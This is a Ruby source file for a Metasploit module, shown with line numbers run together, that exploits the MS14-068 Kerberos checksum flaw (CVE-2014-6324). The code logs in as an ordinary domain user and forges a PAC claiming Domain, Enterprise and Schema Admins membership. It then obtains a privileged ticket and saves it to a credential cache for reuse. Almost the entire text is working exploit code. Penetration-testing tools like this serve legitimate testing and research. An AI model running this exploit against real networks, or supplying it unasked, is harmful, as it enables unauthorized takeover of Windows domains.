Path: blob/master/modules/auxiliary/admin/kerberos/ms14_068_kerberos_checksum.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos::Client89def initialize(info = {})10super(11update_info(12info,13'Name' => 'MS14-068 Microsoft Kerberos Checksum Validation Vulnerability',14'Description' => %q{15This module exploits a vulnerability in the Microsoft Kerberos implementation. The problem16exists in the verification of the Privilege Attribute Certificate (PAC) from a Kerberos TGS17request, where a domain user may forge a PAC with arbitrary privileges, including18Domain Administrator. This module requests a TGT ticket with a forged PAC and exports it to19a MIT Kerberos Credential Cache file. It can be loaded on Windows systems with the Mimikatz20help. It has been tested successfully on Windows 2008.21},22'Author' => [23'Tom Maddock', # Vulnerability discovery24'Sylvain Monne', # pykek framework and exploit25'juan vazquez' # Metasploit module26],27'References' => [28['CVE', '2014-6324'],29['MSB', 'MS14-068'],30['OSVDB', '114751'],31['URL', 'http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx'],32['URL', 'https://labs.mwrinfosecurity.com/blog/2014/12/16/digging-into-ms14-068-exploitation-and-defence/'],33['URL', 'http://web.archive.org/web/20180107213459/https://github.com/bidord/pykek'],34['URL', 'https://www.rapid7.com/blog/post/2014/12/25/12-days-of-haxmas-ms14-068-now-in-metasploit']35],36'License' => MSF_LICENSE,37'DisclosureDate' => '2014-11-18',38'Notes' => {39'AKA' => ['ESKIMOROLL'],40'Stability' => [CRASH_SAFE],41'SideEffects' => [IOC_IN_LOGS],42'Reliability' => []43}44)45)4647register_options(48[49OptString.new('USERNAME', [ true, 'The Domain User' ], aliases: ['USER']),50OptString.new('PASSWORD', [ true, 'The Domain User password' ]),51OptString.new('DOMAIN', [ true, 'The Domain (upper case) Ex: DEMO.LOCAL' ]),52OptString.new('USER_SID', [ true, 'The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000'])53]54)55end5657def run58print_status('Validating options...')5960unless datastore['USER_SID'] =~ /^S-(\d+-){6}\d+$/61print_error('Invalid USER_SID. Ex: S-1-5-21-1755879683-3641577184-3486455962-1000')62return63end6465domain = datastore['DOMAIN'].upcase6667print_status("Using domain #{domain}...")6869user_sid_arr = datastore['USER_SID'].split('-')70domain_sid = user_sid_arr[0, user_sid_arr.length - 1].join('-')71user_rid = user_sid_arr[user_sid_arr.length - 1].to_i7273checksum_type = Rex::Proto::Kerberos::Crypto::Checksum::RSA_MD574etype = Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC75encryptor = Rex::Proto::Kerberos::Crypto::Encryption.from_etype(etype)76password_digest = encryptor.string_to_key(datastore['PASSWORD'])7778pre_auth = []79pre_auth << build_as_pa_time_stamp(key: password_digest, etype: etype)80pre_auth << build_pa_pac_request8182print_status("#{peer} - Sending AS-REQ...")83res = send_request_as(84client_name: datastore['USERNAME'].to_s,85server_name: "krbtgt/#{domain}",86realm: domain.to_s,87key: password_digest,88pa_data: pre_auth,89etype: [etype]90)9192unless res.msg_type == Rex::Proto::Kerberos::Model::AS_REP93print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR94print_error("#{peer} - Invalid AS-REP, aborting...")95return96end9798print_status("#{peer} - Parsing AS-REP...")99100session_key = extract_session_key(res, password_digest)101logon_time = extract_logon_time(res, password_digest)102ticket = res.ticket103104pre_auth = []105pre_auth << build_pa_pac_request106107groups = [108Rex::Proto::Kerberos::Pac::DOMAIN_ADMINS,109Rex::Proto::Kerberos::Pac::DOMAIN_USERS,110Rex::Proto::Kerberos::Pac::SCHEMA_ADMINISTRATORS,111Rex::Proto::Kerberos::Pac::ENTERPRISE_ADMINS,112Rex::Proto::Kerberos::Pac::GROUP_POLICY_CREATOR_OWNERS113]114115pac = build_pac(116client_name: datastore['USER'],117group_ids: groups,118domain_id: domain_sid,119user_id: user_rid,120realm: domain,121logon_time: logon_time,122checksum_type: checksum_type123)124125auth_data = build_pac_authorization_data(pac: pac)126sub_key = build_subkey(subkey_type: etype)127128print_status("#{peer} - Sending TGS-REQ...")129130res = send_request_tgs(131client_name: datastore['USER'],132server_name: "krbtgt/#{domain}",133realm: domain,134session_key: session_key,135ticket: ticket,136auth_data: auth_data,137pa_data: pre_auth,138subkey: sub_key139)140141unless res.msg_type == Rex::Proto::Kerberos::Model::TGS_REP142print_warning("#{peer} - #{warn_error(res)}") if res.msg_type == Rex::Proto::Kerberos::Model::KRB_ERROR143print_error("#{peer} - Invalid TGS-REP, aborting...")144return145end146147print_good("#{peer} - Valid TGS-Response, extracting credentials...")148149cache = extract_kerb_creds(res, sub_key.value)150Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(cache, framework_module: self, host: rhost)151end152153def warn_error(res)154res.error_code.to_s155end156end157158159